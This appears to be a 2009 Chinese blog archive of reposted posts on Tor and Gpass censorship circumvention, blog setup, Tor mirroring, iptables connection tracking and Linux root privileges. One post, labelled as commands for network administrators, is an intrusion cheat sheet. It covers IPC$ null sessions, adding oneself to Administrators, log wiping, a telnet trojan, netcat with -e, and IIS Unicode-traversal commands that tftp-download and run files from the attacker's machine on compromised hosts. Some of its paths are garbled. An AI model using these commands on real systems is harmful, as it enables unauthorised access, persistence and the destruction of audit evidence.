2009年5月7日星期四

终于可以自由地在opera上用tor了

今 天下午在网上无所事事,突然想起了洋葱头,我一直是用Firefox和Tor搭配使用的,因为FF有专门针对洋葱头的插件,这方面opera就差一些了。 但是我很喜欢opera,所以在公司里一般的网上浏览都是用opera,而使用Google的服务,例如google calendar,docs,blog等等,就要用FF了,因为公司把Google的服务屏蔽了。

今天上网无所事事就又想到这个问题,上 网搜了一下,opera是可以使用Tor的,打开Tor后,再设置opera的代理为:127.0.0.1,端口是8118,设置好后就可以用Tor了。 不过这样还是有点不方便,因为要用的时候得到preference去设置代理,不用了还是要再设置一遍。

后来想能不能在opera的菜 单或者工具栏里面添加按钮,实现enable和disable代理那就方便了。秉承知之为知之,不知google知的原则,搜索一把,网上有些帖子说明怎 么在opera里添加菜单和按钮,考虑了一下,加菜单太麻烦,还有修改opera默认目录里的ini文件,搞不定啊。后来终于发现个好帖子,说有个网站:http://nontroppo.org/tools/buttonmaker, 可以用来制作opera使用的按钮,填写几项就好了,比较重要的项是:Choose the button's action,就是点击这个按钮要执行的动作,我从commbo里面找了一下,有两个对得上号的操作:Enable proxy servers和Disable proxy servers。将相应的action选好,然后呢再设置一下button's title,这一项不是必须的,可填可不填。还有个选项是设置按钮的icon,我选了两个:一个是“Reload”,一个“stop”。这样设置完后,大 功告成了,点击create button就会有相应的按钮被创建了,创建后会将你创建的按钮显示出来,点击这个按钮,opera就会把这个按钮添加到浏览器里了,在菜单工具 ->外观->按钮->我的按钮里面找到。

到了这一步基本就搞定了,然后在工具栏上点击右键,选择自定义,然后在我的按钮里找到我们加入的按钮,将按钮拖到工具栏上就行了。

用Gpass绕过网络检查和限制

GFW Blog提供的Gpass4.1下载地址:http://www.box.net/shared/kpdh2e6rp1
作者:syber 来源:Ghacks CN

网络检查制度在一些国家是一个很大的问题,尤其在中东和亚洲国家。如果网站和信息在那些国家被封锁的话,人们就很难浏览那些网站。通常,人们可以使用代理或者VPN服务器来解决这个问题,绕过网络检查进入相关的网站。

还有另一种限制是网络服务商定向服务,他们只对特定区域服务,而这个区域之外的用户却不能进入。如网络电台Pandora,多媒体服务网站Hulu和ABC。

Gpass是一个免费软件,它提供一个加密的网络连接可以绕过检查和限制。它使用加密sock隧道来运转软件,如浏览器、Skype,这与Tor的作用相同。

每个可以连接英特网的软件艘可以被Gpass使用,大部分并不需要设置,某些只要在代理端口输入localhost:8000即可。

bypass censorship

Gpass提供一些已经连接好的软件如Firefox, Internet Explorer,以及电子邮件客户端。用户可以自行拖拉软件到软件界面中,他们都可以绕过检查和限制。

理论上说,Gpass也可以用来观看Hulu, ABC和Pandora这样的网络多媒体服务,但速度相当慢。Gpass主要适用于浏览网站。

独立博客建设简明教程及相关资源

作者:靛海幽蓝 来源:靛海幽蓝在地球

这里建立的时间不长,也不敢说有什么人气,但是我也已经碰到几次网友问怎么建站了,另外我也想推荐我的一些朋友来建独立博客。那么,结合我自己是经验,写点什么吧。

我自己也是菜鸟,自己折腾着玩,也许不能教你什么,所以,本文主要收集一些资源,帮助你了解这些内容。

建站流程:

  1. 明确建站目的。
  2. 选择博客程序,了解一些需要的基本知识。
  3. 买域名、虚拟主机。
  4. 安装博客程序,进行相关设置。
  5. 开始写作,坚持。

一、明确建站目的:

适合的才是最好的。首先,什么是独立博客?相对的,什么是BSP?两者比较,孰优孰劣?,了解了之后,你选择建独立博客了吗?你有明确的理由了吗?你可以看看我的建站目的。另外我也推荐大家都建独立博客

博客作者们对建立自己的独立博客一直都有很多思考,以下内容你可以看看:

更多信息,请用Google搜索独立博客

二、选择博客程序,了解一些需要的基本知识:

首先你需要了解一些建站的基本知识。例如什么叫域名什么叫虚拟主机什么叫博客程序有哪些常见的博客程序?到底如何选择博客平台呢?

关于更多的基本知识:请看博客词汇手册

三、买域名、虚拟主机。

提供这种产品的商家很多。除了比较价格性能以外,你也应该了解域名和空间放在国内都是危险的,除了有备案的烦恼域名还有可能被停止解析或者博客上发表的内容被要求删除,所以,你大可以选择国外的相关服务商

四、安装博客程序,进行相关设置。

你选择了哪个博客程序呢?我是用WordPress。如果你也选择使用他的话,可以去这些地方逛逛:WordPress中文文档 WordPress中文论坛 WordPress非官方中文站新手入门教程 网上的教程肯定很多,我是看这个的~)。总的来说,如果你愿意建独立博客,应该是做好折腾的准备的。到底要怎么折腾呢?看看架设一个blog需要整合多少东西

五、开始写作,坚持。

写你想写的,写作也要照章办事岂不郁闷?但是你也可以了解一下博客作者们分享的写作经验:

其他的类似教程:

fedora10下安装tor + privoxy

作者:wanglei_王磊 来源zhudogsupe's weblog
用tor可以访问一些被封的网站,以前blogspot,维基百科,wordpress.com被封,所以我以前用的fedora9是安装了tor + privoxy的。现在用了fedora10,功夫网解封了不少网站,也没有安装tor。今天看到google groups里面有人提到这个,想起来youtube还是被封的,安装了tor。简述一下安装步骤:

首先:#yum install tor privoxy,安装了tor和privoxy之后,编辑一下privoxy的配置文件,gvim /etc/privoxy/config,搜索找到这一行,forward-socks4a / 127.0.0.1:9050 .,然后吧注释#去掉就行了。保存,把这个配置文件移动到用户家目录下, mv /etc/privoxy/config /home/xxx/就可以了。

重启privoxy,#/etc/init.d/privoxy restart,安装firefox的torbutton,试试效果。使用tor之前无法访问youtube。使用tor之后顺利访问youtube。

Linux下如何穿越网落屏闭

作者:linuxboy 来源:yinxiuqu.blogspot.com/2009/05/linux.html
Linux系统开发的目的,是为了让人更大程度的获得自由,某些网站被屏闭后会严重限制人的自由,而Linux系统下有很多可以穿越防火墙的办法。这里介绍一下如何通过tor自动突破防火墙。

  1.安装软件:
  Ubuntu下通过命令安装: sudo aptitude install tor
   这个命令将会连带把所需要的软件一并安装好。但如果你的源里没有这个软件,或者你使用的不是Ubuntu系统,那可以到网上去搜索下载这个软件。但这样 就比较麻烦了,你需要把依赖软件一并装上,那你可能需要把以下软件一并手工安装好:libevent1 privoxy socat tsocks

  2.配置文件:
  输入这个命令修改配置文件: sudo gedit /etc/privoxy/config
  在这个配置文件里添加如下一行:
  forward-socks4a / 127.0.0.1:9050 .
  上面的最后一个小点也需要的,不能遗漏了。再注释掉下面这一行:
  logfile logfile
  用这个命令重新开启privoxy服务: sudo /etc/init.d/privoxy restart

  3.浏览器设置
  在firefox浏览器里的“工具”--“附加组件”里,搜索安装Tor Button插件,重启浏览器后,在浏览器右下角有个红色的“Tor被禁用”,用鼠标点击它,使它变成绿色的“Tor运行中”。然后你就可以访问几乎所有被屏蔽的网站了!

建了一个Tor的镜像

GFW Blog注:Tor的另外两个镜像:
作者:Shi Zhao 来源:半亩塘闲话

刚刚在数字游牧的帮助下,建立了一个tor的镜像:http://tor.shizhao.org。使用它就可以无障碍访问互联网了,呵呵。

建立镜像的方法很简单,先设立一个子域名,例如我的tor.shizhao.org,然后登录服务器,运行以下命令:

rsync -az –delete rsync://rsync.torproject.org/tor /镜像目录

然后就ok了。

这里有一个linux下的tor安装方法,因为该blog被封,特此转发在下面(我的ubuntu 9.04 64bit不能安装tor :(

1.安装软件:
Ubuntu下通过命令安装: sudo aptitude install tor
这 个命令将会连带把所需要的 软件一并安装好。但如果你的源里没有这个软件,或者你使用的不是Ubuntu系统,那可以到网上去搜索下载这个软件。但这样就比较麻烦了,你需要把依赖软 件一并装上,那你可能需要把以下软件一并手工安装好:libevent1 privoxy socat tsocks

2.配置文件:
输入这个命令修改配置文件: sudo gedit /etc/privoxy/config
在这个配置文件里添加如下一行:
forward-socks4a / 127.0.0.1:9050 .
上面的最后一个小点也需要的,不能遗漏了。再注释掉下面这一行:
logfile logfile
用这个命令重新开启privoxy服务: sudo /etc/init.d/privoxy restart

PS: 其实我的tor镜像不是按照上述方法安装的,而是修改域名的cname设置,直接重定向到了http://tor.zuo.la/

2009年5月3日星期日

网络管理员应该知道的命令

常用的几条NET命令:   (与远程主机建立空管连接) net use file://IP/地址ipc$ "" /use:""   (以管理员身份登录远程主机) net use file://IP/地址ipc$ "密码" /use:"Administrator"   (传送文件到远程主机WINNT目录下)copy 本机目录路径程序 file://IP/地址admin$   (查看远程主机时间) net time file://IP/地址   (定时启动某个程序) at file://IP/地址 02:18 readme.exe   (查看共享) net view file://IP/地址   (查看netbios工作组列表) nbtstat -A IP地址   (将远程主机C盘映射为自己的F盘) net use f: file://IP/地址c$ ""/user:"Administrator"   (这两条把自己增加到管理员组): net user 用户名 密码 /add   net localgroup Administrators 用户名 /add   (断开连接) net use file://IP/地址ipc$ /delete   扫尾:   del C:winntsystem32logfiles*.*   del C:winntssytem32config*.evt   del C:winntsystem32dtclog*.*   del C:winntsystem32*.log   del C:winntsystem32*.txt   del C:winnt*.txt   del C:winnt*.log   一、netsvc.exe   下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:   netsvc /list file://IP/地址   netsvc schedule file://IP/地址 /query   netsvc file://IP/地址 schedule /start   二、OpenTelnet.exe   远程启动主机的Telnet服务,并绑定端口到7878,例如:   OpenTelnet file://IP/地址 用户名 密码 1 7878   然后就可以telnet到主机的7878端口,进入DOS方式下:   telnet IP地址 7878 三、winshell.exe   一个非常小的木马(不到6K),telnet到主机的7878端口,输入密码winshell,当看到CMD>后,可打下面的命令:   p Path (查看winshell主程序的路径信息)   b reBoot (重新启动机器)   d shutDown (关闭机器)   s Shell (执行后你就会看到可爱的“C:>”)   x eXit (退出本次登录会话,此命令并不终止winshell的运行)   CMD> [url]http://.../srv.exe[/url] (通过http下载其他网站上的文件到运行winshell的机器上)   四、3389登陆器,GUI方式登录远程主机的   五、elsave.exe   事件日志清除工具   elsave -s file://IP/地址 -l "application" -C   elsave -s file://IP/地址 -l "system" -C   elsave -s file://IP/地址 -l "security" -C   执行后成功清除应用程序日志,系统日志,安全日志   六、hbulot.exe   开启win2kserver和winxp的3389服务   hbulot [/r]   使用/r表示安装完成后自动重起目标使设置生效。   七、nc.exe(netcat.exe)   一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。   想要连接到某处: nc [-options] hostname port[s] [ports] ...   绑定端口等待连接: nc -l -p port [-options] [hostname] [port]   参数:   -e prog 程序重定向,一旦连接,就执行 [危险!!]   -g gateway source-routing hop point[s], up to 8   -G num source-routing pointer: 4, 8, 12, ...   -h 帮助信息   -i secs 延时的间隔   -l 监听模式,用于入站连接   -n 指定数字的IP地址,不能用hostname   -o file 记录16进制的传输   -p port 本地端口号   -r 任意指定本地及远程端口   -s addr 本地源地址   -u UDP模式   -v 详细输出——用两个-v可得到更详细的内容   -w secs timeout的时间   -z 将输入输出关掉——用于扫描时 八、TFTPD32.EXE   把自己的电脑临时变为一台FTP服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用Unicode漏洞或telnet到肉鸡,例如:   [url]http://ip/[/url]地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:winntsystem32文件名   然后可以直接令文件运行:   [url]http://ip/[/url]地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名 九、prihack.exe是IIS的printer远程缓冲区溢出工具。   idqover.exe是溢出idq的,选择“溢出后在一个端口监听”,然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后winxp下需要打winxp。   一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor,exe要放到cgi-bin目录下,asp放到有ASP执行权限的目录。然后用IE浏览器连接。 一、Xscan命令行运行参数说明: 在检测过程中,按"[空格]"键可以查看各线程状态及扫描进度,按"q"键保存当前数据后提前退出程序,按""强行关闭程序。 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] xscan -file <主机列表文件名> <检测项目> [其他选项] 其中<检测项目> 含义如下: -port : 检测常用服务的端口状态(可通过datconfig.ini文件的"PORT-SCAN-OPTIONSPORT-LIST"项定制待检测端口列表); -ftp : 检测FTP弱口令(可通过datconfig.ini文件设置用户名/密码字典文件); -ntpass : 检测NT-Server弱口令(可通过datconfig.ini文件设置用户名/密码字典文件); -cgi : 检测CGI漏洞(可通过datconfig.ini文件的"CGI-ENCODEencode_type"项设置编码方案); -iis : 检测IIS漏洞(可通过datconfig.ini文件的"CGI-ENCODEencode_type"项设置编码方案); [其他选项] 含义如下: -v: 显示详细扫描进度 -p: 跳过Ping不通的主机 -o: 跳过没有检测到开放端口的主机 -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10

iptables的状态检测机制

1.什么是状态检测 每个网络连接包括以下信息:源地址、目的地址、源端口和目的端口,叫作套接字对(socket pairs);协议类型、连接状态(TCP协议)和超时时间等。防火墙把这些信息叫作状态(stateful),能够检测每个连接状态的防火墙叫作状态包过滤防火墙。它除了能够完成简单包过滤防火墙的包过滤工作外,还在自己的内存中维护一个跟踪连接状态的表,比简单包过滤防火墙具有更大的安全性。 iptables中的状态检测功能是由state选项来实现的。对这个选项,在iptables的手册页中有以下描述: state 这个模块能够跟踪分组的连接状态(即状态检测)。 --state state 这里,state是一个用逗号分割的列表,表示要匹配的连接状态。有效的状态选项包括:INVAILD,表示分组对应的连接是未知的; ESTABLISHED,表示分组对应的连接已经进行了双向的分组传输,也就是说连接已经建立;NEW,表示这个分组需要发起一个连接,或者说,分组对应的连接在两个方向上都没有进行过分组传输;RELATED,表示分组要发起一个新的连接,但是这个连接和一个现有的连接有关,例如:FTP的数据传输连接和控制连接之间就是RELATED关系。 对于本地产生分组,在PREROUTING或者OUTPUT链中都可以对连接的状态进行跟踪。在进行状态检测之前,需要重组分组的分片。这就是为什么在iptables中不再使用ipchains的ip_always_defrag开关。 UDP和TCP连接的状态表由/proc/net/ip_conntrack进行维护。稍后我们再介绍它的内容。 状态表能够保存的最大连接数保存在/proc/sys/net/ipv4/ip_conntrack_max中。它取决于硬件的物理内存。 2.iptables的状态检测是如何工作的? 2.1.iptables概述 在讨论iptables状态检测之前,我们先大体看一下整个netfilter框架。如果要在两个网络接口之间转发一个分组,这个分组将以以下的顺序接收规则链的检查: PREROUTING链 如果必要对这个分组进行目的网络地址转换(DNAT)和mangle处理。同时,iptables的状态检测机制将重组分组,并且以以下某种方式跟踪其状态: 分组是否匹配状态表中的一个已经实现(ESTABLISHED)的连接。 它是否是和状态表中某个UDP/TCP连接相关(RELATED)的一个ICMP分组。 这个分组是否要发起一个新(NEW)的连接。 如果分组和任何连接无关,就被认为是无效(INVALID)的。 FORWARD链 把分组的状态和过滤表中的规则进行匹配,如果分组与所有的规则都无法匹配,就使用默认的策略进行处理。 POSTROUTING链 如果有必要,就对分组进行源网络地址转换(SNAT), 注意:所有的分组都必须和过滤表的规则进行比较。如果你修改了规则,要拒绝所有的网络流量,那么即使分组的状态匹配状态表中的一个ESTABLISHED条目,也将被拒绝。 下面,我们对UDP、TCP和ICMP三个协议分别进行分析。 2.2.UDP连接 UDP(用户数据包协议)是一种无状态协议,以为这个协议没有序列号。不过,这并不意味着我们不能跟踪UDP连接。虽然没有序列号,但是我们还可以使用其它的一些信息跟踪UDP连接的状态。下面是状态表中关于UDP连接的条目: udp 17 19 src=192.168.1.2 dst=192.168.1.50 sport=1032 dport=53 [UNREPLIED] src=192.168.1.50 dst=192.168.1.2 sport=53 dport=1032 use=1 这个状态表项只有在iptables过滤规则允许建立新的连接时,才能建立。以下的规则可以产生这类状态表项,这两条规则只允许向外的UDP连接: iptables -A INPUT -p udp -m state --state ESTABLISHED -j ACCEPT iptables -A OUTPUT -P udp -m state --state NEW,ESTABLISHED -j ACCEPT 上面的状态表项包含如下信息: 连接的协议是UDP(IP协议号17)。 这个状态表项还有19秒中就超时。 发起连接方向上的源、目的地址和源、目的端口。 应答方向上的源、目的地址和源、目的端口。这个连接使用UNREPLIED标记,表示还没有收到应答。 UDP连接的超时时间在/usr/src/linux/net/ipv4/netfilter/ip_conntrack_proto_udp.c文件中设置,如果改变了这个值,需要重新编译Linux内核源代码才能生效。下面是UDP连接超时时间的相关的源代码: #define UDP_TIMEOUT (30*HZ) #define UDP_STREAM_TIMEOUT (180*HZ) 一个UDP请求等待应答的时间是30*HZ(这个值一般是30秒)。在上面的例子中,等待的时间已经消耗了11秒,还剩余19秒,如果在这段时间之内没有收到应答分组,这个表项就会被删除。一旦收到了应答,这个值就被重置为30,UNREPLIED标志也被删除。这个表项编程如下形式: udp 17 28 src=192.168.1.2 dst=192.168.1.50 sport=1032 dport=53 src=192.168.1.50 dst=192.168.1.2 sport=53 dport=1032 use=1 如果在这一对源、目的地址和源、目的端口上,发生了多个请求和应答,这个表项就作为一个数据流表项,它的超时时间是180秒。这种情况下,这个表项就变成如下形式: udp 17 177 src=192.168.1.2 dst=192.168.1.50 sport=1032 dport=53 src=192.168.1.50 dst=192.168.1.2 sport=53 dport=1032 [ASSURED] use=1 这时我们看到这个表项使用ASSURED标志。一旦连接表项使用ASSURED标志,那么即使在网络负沉重的情况下,也不会被丢弃。如果状态表已经饱和,当新的连接到达时,使用UNREPLIED标志的表项会受被丢弃。 2.3.TCP连接 一个TCP连接是通过三次握手的方式完成的。首先,客户程序发出一个同步请求(发出一个SYN分组);接着,服务器端回应一个SYNACK分组;最后返回一个ACK分组,连接完成。整个过程如下所示: Client Server SYN ---> <--- SYN+ACK ACK ---> <--- ACK ACK ---> ......... ......... SYN和ACK是由TCP分组头的标志决定的。在每个TCP分组头还有32位的序列号和应答号用于跟踪会话。 为了跟踪一个TCP连接的状态,你需要使用下面这样的规则: iptables -A INPUT -p tcp -m state --state ESTABLISHED -j ACCEPT iptables -A OUTPUT -p tcp -m state --state NEW,ESTABLISHED -j ACCEPT 2.3.1.连接建立过程中状态表的变化 下面,我们详细讨论在连接建立的每个阶段中,状态表发生的变化: 一旦一个初始SYN分组进入OUTPUT链,并且输出规则允许这个分组建立一个新的连接,状态表的相关表项将如下所示: cp 6 119 SYN_SENT src=140.208.5.62 dst=207.46.230.218 sport=1311 dport=80 [UNREPLIED] src=207.46.230.218 dst=140.208.5.62 sport=80 dport=1311 use=1 其中,TCP连接状态是SYN_SENT,连接被标记为UNREPLIED。 现在,我们等待SYN+ACK分组的响应。一旦得到响应,这个TCP连接表项就变为: tcp 6 57 SYN_RECV src=140.208.5.62 dst=207.46.230.218 sport=1311 dport=80 src=207.46.230.218 dst=140.208.5.62 sport=80 dport=1311 use=1 连接的状态变为SYN_RECV,UNREPLIED标志被清除。 现在我们需要等待完成握手的ACK分组。ACK分组到达后,我们首先对其序列号进行一些检查,如果正确,就把这个连接的状态变为ESTABLISHED,并且使用ASSURED标记这个连接。这时,这个连接的状态如下所示: cp 6 431995 ESTABLISHED src=140.208.5.62 dst=207.46.230.218 sport=1311 dport=80 src=207.46.230.218 dst=140.208.5.62 sport=80 dport=1311 [ASSURED] use=1 2.3.2.透视状态表 上面,我们涉及了很多CP连接的状态。现在,我们分析一下TCP连接的状态检测。实际上,状态表只知道NEW、ESTABLISHED、RELATED和INVALID。 要注意:状态检测的状态不等于TCP状态。当一个SYN分组的响应SYN+ACK分组到达,Netfilter的状态检测模块就会认为连接已经建立。但是,这时还没有完成三次握手,因此TCP连接还没有建立。 另外,包过滤规则不能删除状态表中的表项,只有连接超时,对应的状态表项才会被删除。ACK分组能够建立一个NEW状态表项。向防火墙之后一台并不存在主机发送ACK分组,并不会返回RST分组,可以证明这个结论。因此,你需要使用以下的规则明确新的TCP连接应该是SYN分组建立的: iptables -A INPUT -p tcp !--syn -m state --state NEW -j DROP 这样可以阻止空会话的继续进行。 2.3.3.超时 所谓状态表项的超时值是指每个表项存在的最大时间,这些超时值的大小在/usr/src/linux/net/ipv4/netfilter/ip_conntrack_proto_tcp.c文件中设置。以下是相关的代码: static unsigned long tcp_timeouts[] = { 30 MINS, /* TCP_CONNTRACK_NONE, */ 5 DAYS, /* TCP_CONNTRACK_ESTABLISHED, */ 2 MINS, /* TCP_CONNTRACK_SYN_SENT, */ 60 SECS, /* TCP_CONNTRACK_SYN_RECV, */ 2 MINS, /* TCP_CONNTRACK_FIN_WAIT, */ 2 MINS, /* TCP_CONNTRACK_TIME_WAIT, */ 10 SECS, /* TCP_CONNTRACK_CLOSE, */ 60 SECS, /* TCP_CONNTRACK_CLOSE_WAIT, */ 30 SECS, /* TCP_CONNTRACK_LAST_ACK, */ 2 MINS, /* TCP_CONNTRACK_LISTEN, */ }; 2.3.4.连接的中断 关闭一个TCP连接可以有两种方式。第一种类似于建立TCP连接的三次握手。一旦一个TCP会话完成,要终止会话的一方首先发出一个FIN为1的分组。接收方TCP确认这个FIN分组,并同志自己这边的应用程序不要在接收数据了。这个过程可以如下所示: Client Server ......... ......... FIN+ACK ---> <--- ACK <--- FIN+ACK ACK ---> 在这个过程之中或者之后,状态表的连接状态变为TIME_WAIT。在默认情况下,2分钟之后从状态表删除。 除此之外,还有其它关闭中断的方式。TCP会话的任何一方发出一个RST标志为1的分组,可以快速断开一个TCP连接。而且,RST分组不需要应答。在这种情况下,状态表项的状态变为CLOSE,10秒之后被删除。和http连接经常通过这种方式中断,如果一个连接很长时间没有请求了,服务器端就会发出一个RST分组中断连接。 2.4.ICMP 在iptables看来,只有四种ICMP分组,这些分组类型可以被归为NEW、ESTABLISHED两类: ECHO请求(ping,8)和ECHO应答(pong,0)。 时间戳请求(13)和应答(14)。 信息请求(15)和应答(16)。 地址掩码请求(17)和应答(18)。 这些ICMP分组类型中,请求分组属于NEW,应答分组属于ESTABLISHED。而其它类型的ICMP分组不基于请求/应答方式,一律被归入RELATED。 我们先看一个简单的例子: iptables -A OUTPUT -p icmp -m state --state NEW,ESTABLISHED, RELATED -j ACCEPT iptables -A INPUT -p icmp -m state --state ESTABLISHED,RELATED -j ACCEPT 这链条规则进行如下的过滤: 一个ICMP echo请求是一个NEW连接。因此,允许ICMP echo请求通过OUTPUT链。 当对应的应答返回,此时连接的状态是ESTABLISED,因此允许通过INPUT链。而INPUT链没有NEW状态,因此不允许echo请求通过INPUT链。也就是说,这两条规则允许内部主机ping外部主机,而不允许外部主机ping内部主机。 一个重定向ICMP(5)分组不是基于请求/应答方式的,因此属于RELATED。INPUT和OUTPUT链都允许RELATED状态的连接,因此重定向(5)分组可以通过INPUT和OUTPUT链。 3.FTP协议的状态检测 上面,我们比较详细地介绍了iptables的态检测机制。现在,我们以FTP状态检测为例介绍如何使用iptables进行连接状态检测。 首先,你需要加载ip_conntrack_ftp模块。使用如下规则就可以允许建立FTP控制连接(这里没有考虑IMCP问题): iptables -A INPUT -p tcp --sport 21 -m state --state ESTABLESED -j ACCEPT iptables -A OUTPUT -p tcp --dport 21 -m state --state NEW,ESTABLISED -j ACCEPT 除了控制连接之外,FTP协议还需要一个数据通道,不过,数据连接可以通过主动和被动两种模式建立,我们需要分别讨论。 3.1.主动模式 在主动模式下,客户程序在控制通道上,使用PORT命令告诉FTP服务器自己这边的数据传输端口,然后FTP从20端口向这个端口发起一个连接。连接建立后,服务器端和客户端就可以使用这个连接传输数据了,例如:传诵的文件、ls等命令的结果等。因此,在主动模式下FTP数据传输通道是反向建立的,它从 FTP服务器端向客户端发起。 在主动模式下,客户端使用的数据传输端口是不固定的,因此我们需要在规则中使用端口范围。由于客户端使用的端口都是大于1024的,这并不会降低系统的安全性。 在iptables中,有一个专门跟踪FTP状态的模块--ip_conntrack_ftp。这个模块能够识别出PORT命令,并从中提取端口号。这样,FTP数据传输连接就被归入RELATED状态,它和向外的FTP控制连接相关,因此我们不需要在INPUT链中使用NEW状态。下面的规则可以实现我们的意图: iptables -A INPUT -p tcp --sport 20 -m state --state ESTABLISED,RELATED -j ACCEPT iptables -A OUTPUT -p tcp --dport 20 -m state --state ESTABLISED -j ACCEPT 3.2.被动模式 和主动模式相反,在被动模式下,指定连接端口的PORT命令是服务器端发出的。FTP服务器通过PORT命令告诉客户端自己使用的FTP数据传输端口,然后等待客户端建立数据传输连接。在被动模式下,建立数据传输连接的方向和建立控制连接的方向是相同的。因此,被动模式具有比主动模式更好的安全性。 由于ip_conntrack_ftp模块能够从PORT命令提取端口,因此我们在OUTPUT链中也不必使用NEW状态,下面的规则可以实现对被动模式下的FTP状态检测: iptables -A INPUT -p tcp --sport 1024: --dport 1024: -m state --state ESTABLISHED -j ACCEPT iptables -A OUTPUT -p tcp --sport 1024: --dport 1024: -m state --state ESTABLISHED,RELATED -j ACCEPT 综合以上的分析,我们可以得到FTP连接的状态检测规则,对于主动模式的FTP,需要下面的iptables规则: iptables -A INPUT -p tcp --sport 21 -m state --state ESTABLESED -j ACCEPT iptables -A OUTPUT -p tcp --dport 21 -m state --state NEW,ESTABLISED -j ACCEPT iptables -A INPUT -p tcp --sport 20 -m state --state ESTABLISED,RELATED -j ACCEPT iptables -A OUTPUT -p tcp --dport 20 -m state --state ESTABLISED -j ACCEPT 对于被动模式的FTP连接,需要使用如下iptables规则 iptables -A INPUT -p tcp --sport 21 -m state --state ESTABLESED -j ACCEPT iptables -A OUTPUT -p tcp --dport 21 -m state --state NEW,ESTABLISED -j ACCEPT iptables -A INPUT -p tcp --sport 1024: --dport 1024: -m state --state ESTABLISHED -j ACCEPT iptables -A OUTPUT -p tcp --sport 1024: --dport 1024: -m state --state ESTABLISHED,RELATED -j ACCEPT 本文中提到的状态检测,在iptables中实际叫作连接跟踪(Connection tracking),出于自己的习惯,我在本文中一律改为状态检测:P 。

Linux 系统中的超级权限的控制

在Linux操作系统中,root的权限是最高的,也被称为超级权限的拥有者。普通用户无法执行的操作,root用户都能完成,所以也被称之为超级管理用户。 在系统中,每个文件、目录和进程,都归属于某一个用户,没有用户许可其它普通用户是无法操作的,但对root除外。root用户的特权性还表现在root 可以超越任何用户和用户组来对文件或目录进行读取、修改或删除(在系统正常的许可范围内);对可执行程序的执行、终止;对硬件设备的添加、创建和移除等;也可以对文件和目录进行属主和权限进行修改,以适合系统管理的需要(因为root是系统中权限最高的特权用户);
一、对超级用户和普通用户的理解;
1、什么是超级用户;
在所有Linux系统中,系统都是通过UID来区分用户权限级别的,而UID为0的用户被系统约定为是具有超级权限。超级用户具有在系统约定的最高权限满园内操作,所以说超级用户可以完成系统管理的所有工具;我们可以通过/etc/passwd 来查得UID为0的用户是root,而且只有root对应的UID为0,从这一点来看,root用户在系统中是无可替代的至高地位和无限制权限。root 用户在系统中就是超级用户;
2、理解 UID 和用户的对应关系
当系统默认安装时,系统用户和UID 是一对一的对关系,也就是说一个UID 对应一个用户。我们知道用户身份是通过UID 来确认的,我们在 《用户(user)和用户组(group)配置文件详解》中的UID 的解说中有谈到“UID 是确认用户权限的标识,用户登录系统所处的角色是通过UID 来实现的,而非用户名;把几个用户共用一个UID 是危险的,比如我们把普通用户的UID 改为0,和root共用一个UID ,这事实上就造成了系统管理权限的混乱。如果我们想用root权限,可以通过su或sudo来实现;切不可随意让一个用户和root分享同一个UID ;”
在系统中,能不能让UID 和用户是一对多的关系?是可以的,比如我们可以把一个UID为0这个值分配给几个用户共同使用,这就是UID 和用户的一对多的关系。但这样做的确有点危险;相同UID的用户具有相同的身份和权限。比如我们在系统中把beinan这个普通用户的UID改为0后,事实上这个普通用户就具有了超级权限,他的能力和权限和root用户一样;用户beinan所有的操作都将被标识为root的操作,因为beinan的 UID为0,而UID为0的用户是root ,是不是有点扰口?也可以理解为UID为0的用户就是root ,root用户的UID就是0;
UID和用户的一对一的对应关系 ,只是要求管理员进行系统管理时,所要坚守的准则,因为系统安全还是第一位的。所以我们还是把超级权限保留给root这唯一的用户是最好的选择;
如果我们不把UID的0值的分享给其它用户使用,只有root用户是唯一拥有UID=0的话,root用户就是唯一的超级权限用户;
3、普通用户和伪装用户
与超级用户相对的就是普通用户和虚拟(也被称为伪装用户),普通和伪装用户都是受限用户;但为了完成特定的任务,普通用户和伪装用户也是必须的;Linux是一个多用户、多任务的操作系统,多用户主要体现在用户的角色的多样性,不同的用户所分配的权限也不同;这也是Linux系统比 Windows系统更为安全的本质所在,即使是现在最新版本的Windows 2003 ,也无法抹去其单用户系统的烙印;
二. 超级用户(权限)在系统管理中的作用
超级权限用户(UID为0的用户)到底在系统管理中起什么作用呢?主要表现在以下两点;
1、对任何文件、目录或进程进行操作;
但值得注意的是这种操作是在系统最高许可范围内的操作;有些操作就是具有超级权限的root也无法完成;
比如/proc 目录,/proc 是用来反应系统运行的实时状态信息的,因此即便是root也无能为力;它的权限如下
[root@localhost ~]# pwd/root[root@localhost ~]# cd /[root@localhost /]# ls -ld /proc/dr-xr-xr-x 134 root root 0 2005-10-27 /proc/
就是这个目录,只能是读和执行权限,但绝对没有写权限的;就是我们把/proc 目录的写权限打开给root,root用户也是不能进行写操作;
[root@localhost ~]# chmod 755 /proc[root@localhost /]# ls -ld /proc/drwxr-xr-x 134 root root 0 2005-10-27 /proc/[root@localhost /]# cd /proc/[root@localhost proc]# mkdir testdirmkdir: 无法创建目录‘testdir’: 没有那个文件或目录
2、对于涉及系统全局的系统管理;
硬件管理、文件系统理解、用户管理以及涉及到的系统全局配置等等......如果您执行某个命令或工具时,提示您无权限,大多是需要超级权限来完成;
比如用adduser来添加用户,这个只能用通过超级权限的用户来完成;
3、超级权限的不可替代性;
由于超级权限在系统管理中的不可缺少的重要作用,为了完成系统管理任务,我们必须用到超级权限;在一般情况下,为了系统安全,对于一般常规级别的应用,不需要root用户来操作完成,root用户只是被用来管理和维护系统之用;比如系统日志的查看、清理,用户的添加和删除......
在不涉及系统管理的工作的环境下,普通用户足可以完成,比如编写一个文件,听听音乐;用gimp 处理一个图片等...... 基于普通应用程序的调用,大多普通用户就可以完成;
当我们以普通权限的用户登录系统时,有些系统配置及系统管理必须通过超级权限用户完成,比如对系统日志的管理,添加和删除用户。而如何才能不直接以root登录,却能从普通用户切换到root用户下才能进行操作系统管理需要的工作,这就涉及到超级权限管理的问题;
